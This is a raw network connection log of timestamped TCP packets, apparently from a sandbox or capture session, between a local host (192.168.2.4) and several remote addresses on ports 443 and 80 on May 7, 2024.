May 7, 2024 20:31:54.107568979 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.109596014 CEST	49816	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.109612942 CEST	443	49816	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.173022032 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.173058033 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.173067093 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.173090935 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.173120022 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.173137903 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.173156977 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.173182964 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.173197031 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.173207998 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.173243999 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.188479900 CEST	49820	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.188493967 CEST	443	49820	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.584438086 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.584456921 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.584472895 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.584527016 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.584549904 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.584558964 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.584587097 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.584614992 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.756376982 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.756429911 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.756450891 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.756464005 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.756494999 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:31:54.756515026 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.756540060 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.757102013 CEST	49814	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:54.757114887 CEST	443	49814	5.230.47.86	192.168.2.4
May 7, 2024 20:32:00.957981110 CEST	49759	443	192.168.2.4	52.146.76.30
May 7, 2024 20:32:00.957990885 CEST	443	49759	52.146.76.30	192.168.2.4
May 7, 2024 20:32:03.851941109 CEST	49724	80	192.168.2.4	199.232.214.172
May 7, 2024 20:32:03.936446905 CEST	80	49724	199.232.214.172	192.168.2.4
May 7, 2024 20:32:03.936465025 CEST	80	49724	199.232.214.172	192.168.2.4
May 7, 2024 20:32:03.936528921 CEST	49724	80	192.168.2.4	199.232.214.172
May 7, 2024 20:32:04.928294897 CEST	49828	443	192.168.2.4	142.250.65.196
May 7, 2024 20:32:04.928333044 CEST	443	49828	142.250.65.196	192.168.2.4
May 7, 2024 20:32:04.928505898 CEST	49828	443	192.168.2.4	142.250.65.196
May 7, 2024 20:32:04.928772926 CEST	49828	443	192.168.2.4	142.250.65.196
May 7, 2024 20:32:04.928785086 CEST	443	49828	142.250.65.196	192.168.2.4
May 7, 2024 20:32:05.107289076 CEST	443	49828	142.250.65.196	192.168.2.4
May 7, 2024 20:32:05.107727051 CEST	49828	443	192.168.2.4	142.250.65.196
May 7, 2024 20:32:05.107750893 CEST	443	49828	142.250.65.196	192.168.2.4
May 7, 2024 20:32:05.108083010 CEST	443	49828	142.250.65.196	192.168.2.4
May 7, 2024 20:32:05.108464956 CEST	49828	443	192.168.2.4	142.250.65.196
May 7, 2024 20:32:05.108534098 CEST	443	49828	142.250.65.196	192.168.2.4
May 7, 2024 20:32:05.148534060 CEST	49828	443	192.168.2.4	142.250.65.196
May 7, 2024 20:32:06.043649912 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.043692112 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.043787956 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.044058084 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.044076920 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.185874939 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.185916901 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.186213970 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.186539888 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.186557055 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.187477112 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.187513113 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.187819958 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.188596010 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.188636065 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.419146061 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.419464111 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.419473886 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.419822931 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.420424938 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.420490980 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.420619011 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.420656919 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.461936951 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.540370941 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.540725946 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.540743113 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.541789055 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.541841030 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.542557001 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.542620897 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.542824984 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.542834044 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.563524961 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.563986063 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.564013004 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.564393044 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.564858913 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.564913988 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.565119028 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.565150023 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.597003937 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.756377935 CEST	49832	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.756419897 CEST	443	49832	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.756659985 CEST	49832	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.756871939 CEST	49832	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.756886959 CEST	443	49832	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.922987938 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.923006058 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.923054934 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.923064947 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.923876047 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.923917055 CEST	443	49831	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.923974991 CEST	49831	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.927006960 CEST	49833	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.927042007 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:06.927174091 CEST	49833	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.927380085 CEST	49833	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:06.927392960 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.109421968 CEST	443	49832	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.109693050 CEST	49832	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.109714985 CEST	443	49832	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.110059023 CEST	443	49832	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.110378027 CEST	49832	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.110445023 CEST	443	49832	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.110618114 CEST	49832	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.110647917 CEST	443	49832	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.163129091 CEST	49832	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.281944036 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.282218933 CEST	49833	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.282236099 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.282582045 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.282908916 CEST	49833	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.282968998 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.283204079 CEST	49833	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.283227921 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.451844931 CEST	443	49832	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.452456951 CEST	49832	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.452488899 CEST	443	49832	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.452590942 CEST	49832	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.507772923 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.508178949 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.508248091 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.508254051 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.508302927 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.508765936 CEST	49829	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.508785009 CEST	443	49829	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.650407076 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.650480032 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.650541067 CEST	49833	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.650887012 CEST	49833	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.650903940 CEST	443	49833	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.656641006 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.656668901 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.656721115 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.656744003 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.656793118 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.657623053 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.657661915 CEST	443	49830	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.657716036 CEST	49830	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.660799980 CEST	49835	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.660829067 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.660909891 CEST	49835	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.661119938 CEST	49835	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:07.661129951 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:07.743051052 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:07.743084908 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:07.743165970 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:07.743469954 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:07.743485928 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.002726078 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:08.003041029 CEST	49835	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:08.003060102 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:08.003415108 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:08.003751040 CEST	49835	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:08.003829002 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:08.004035950 CEST	49835	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:08.004059076 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:08.027079105 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.027326107 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.027345896 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.028446913 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.028500080 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.028508902 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.028553009 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.028933048 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.028991938 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.029109955 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.029123068 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.069132090 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.131778002 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.131838083 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.131854057 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.131863117 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.132179022 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.134388924 CEST	49836	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.134403944 CEST	443	49836	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.341911077 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:08.342310905 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:08.342394114 CEST	49835	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:08.449937105 CEST	49835	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:08.449955940 CEST	443	49835	5.230.47.86	192.168.2.4
May 7, 2024 20:32:08.451880932 CEST	49839	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.451900959 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.451973915 CEST	49839	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.452215910 CEST	49839	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.452227116 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.709482908 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:08.709530115 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:08.709604025 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:08.709892035 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:08.709908009 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:08.728523016 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.728779078 CEST	49839	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.728816032 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.729176998 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.729552984 CEST	49839	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.729626894 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.729692936 CEST	49839	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.772131920 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.837018013 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.837070942 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.837095976 CEST	49839	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.837107897 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.837133884 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.837179899 CEST	49839	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.839485884 CEST	49839	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:08.839490891 CEST	443	49839	13.107.9.156	192.168.2.4
May 7, 2024 20:32:08.975176096 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:08.975450993 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:08.975500107 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:08.976545095 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:08.976614952 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:08.977720022 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:08.977792025 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:08.977924109 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:08.977940083 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.024916887 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.140081882 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.140347004 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.140356064 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.140371084 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.140402079 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.140410900 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.140439987 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.140456915 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.140574932 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.140903950 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.140938997 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.140969038 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.140975952 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.140999079 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.195128918 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.195152044 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.224381924 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.224400043 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.224441051 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.224452972 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.224472046 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.224504948 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.224883080 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.224904060 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.224937916 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.224941015 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.224951029 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.224972010 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.224986076 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.224996090 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.225012064 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.225045919 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.225052118 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.225085020 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.268243074 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.268265009 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.268309116 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.268342972 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.268363953 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.308624029 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.308640957 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.308691978 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.308717966 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.308733940 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.308942080 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.308964014 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.308974981 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.308989048 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.308998108 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.309010029 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.309016943 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.309048891 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.309123993 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.309171915 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.309170961 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.309199095 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.309246063 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.309751034 CEST	49840	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.309767962 CEST	443	49840	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.364425898 CEST	49845	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.364434004 CEST	443	49845	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.364500046 CEST	49845	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.365632057 CEST	49845	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.365643024 CEST	443	49845	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.445791960 CEST	49846	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:09.445842028 CEST	443	49846	13.107.9.156	192.168.2.4
May 7, 2024 20:32:09.445910931 CEST	49846	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:09.446202040 CEST	49846	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:09.446218967 CEST	443	49846	13.107.9.156	192.168.2.4
May 7, 2024 20:32:09.622345924 CEST	443	49845	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.622612953 CEST	49845	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.622636080 CEST	443	49845	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.623692036 CEST	443	49845	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.623771906 CEST	49845	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.624151945 CEST	49845	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.624221087 CEST	443	49845	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.676744938 CEST	49845	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.676753044 CEST	443	49845	152.199.4.44	192.168.2.4
May 7, 2024 20:32:09.723587036 CEST	443	49846	13.107.9.156	192.168.2.4
May 7, 2024 20:32:09.724040031 CEST	49846	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:09.724066019 CEST	443	49846	13.107.9.156	192.168.2.4
May 7, 2024 20:32:09.724793911 CEST	49845	443	192.168.2.4	152.199.4.44
May 7, 2024 20:32:09.725145102 CEST	443	49846	13.107.9.156	192.168.2.4
May 7, 2024 20:32:09.725209951 CEST	49846	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:09.725234985 CEST	443	49846	13.107.9.156	192.168.2.4
May 7, 2024 20:32:09.725280046 CEST	49846	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:09.725867987 CEST	49846	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:09.725936890 CEST	443	49846	13.107.9.156	192.168.2.4
May 7, 2024 20:32:09.771255016 CEST	49846	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:09.771282911 CEST	443	49846	13.107.9.156	192.168.2.4
May 7, 2024 20:32:09.818176985 CEST	49846	443	192.168.2.4	13.107.9.156
May 7, 2024 20:32:10.014652014 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.014695883 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.014766932 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.015089989 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.015105009 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.121176004 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.121217012 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.121284962 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.121661901 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.121687889 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.121913910 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.121963024 CEST	49848	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.121978998 CEST	443	49848	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.122137070 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.122152090 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.275892019 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.276217937 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.276241064 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.277299881 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.277360916 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.277765036 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.277836084 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.277915001 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.277925968 CEST	443	49847	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.320020914 CEST	49847	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.384429932 CEST	443	49849	13.107.213.40	192.168.2.4
May 7, 2024 20:32:10.384696007 CEST	49849	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:10.384727001 CEST	443	49849	13.107.213.40	192.168.2.4
